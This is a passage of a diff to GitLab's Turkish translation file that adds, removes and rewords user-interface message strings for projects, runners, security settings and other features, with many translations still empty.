msgid "Project name"
msgstr "Proje adı"
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr "Yıldızcı"
msgid "ProjectOverview|Unstar"
msgstr "Yıldızı kaldır"
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr "Parçacıklar"
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr "Sorunu bir epiğe yükselt"
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr "Sorun bir epiğe yükseltildi."
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr "Herkese Açık - Projeye herhangi bir kimlik doğrulama olmadan erişile
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr "Toplam işlemlerin sayısı: %{total_commits_count}"
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "Profil resmini kaldır"
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr "Epikten bir sorun kaldırıldı."
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr "Bitiş tarihi kaldırıldı."
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "Epiği yeniden aç"
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr "DeÄŸiÅŸtir"
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr "EriÅŸim Talebi"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr "%{time_ago} istendi"
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "Güvenlik"
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr "Eyl"
-msgid "Separate topics with commas."
-msgstr "Konuları virgüllerle ayırın."
-
msgid "September"
msgstr "Eylül"
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "ÅŸifre ayarla"
-
msgid "SetStatusModal|Add status emoji"
msgstr "Durum ifadesi ekle"
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr "Ayarlar"
@@ -31581,6 +32134,27 @@ msgstr "Kullanılan iş hattı dakikalarını sıfırla"
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr "Üst sayfaları göster"
-
-msgid "Show parent subgroups"
-msgstr "Üst alt grupları göster"
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr "Kaynak (dal veya etiket)"
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr "Kaynak mevcut deÄŸil"
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr "Sourcegraph"
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr "Ä°nceleme baÅŸlat"
-msgid "Start and due date"
-msgstr "Başlangıç ve bitiş tarihi"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr "Durum:"
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr "Bu tarih, sona erme tarihinden sonra olduğundan dolayı bu epik yol haritasında görünmez."
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr "Bu tarih, başlangıç tarihinden önce olduğundan dolayı bu epik yol haritasında görünmez."
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
-msgstr "Bu, hesabınızla ilgili önemli olayların bir güvenlik günlüğüdür."
+msgid "This is a security log of authentication events involving your account."
+msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr "Bu sizin mevcut oturumunuz"
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Bu birleÅŸtirme isteÄŸi kilitlendi."
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr "Yarın"
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr "Tekrar çatallamayı dene"
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr "Bilinmeyen biçim"
msgid "Unknown response text"
msgstr "Bilinmeyen yanıt metni"
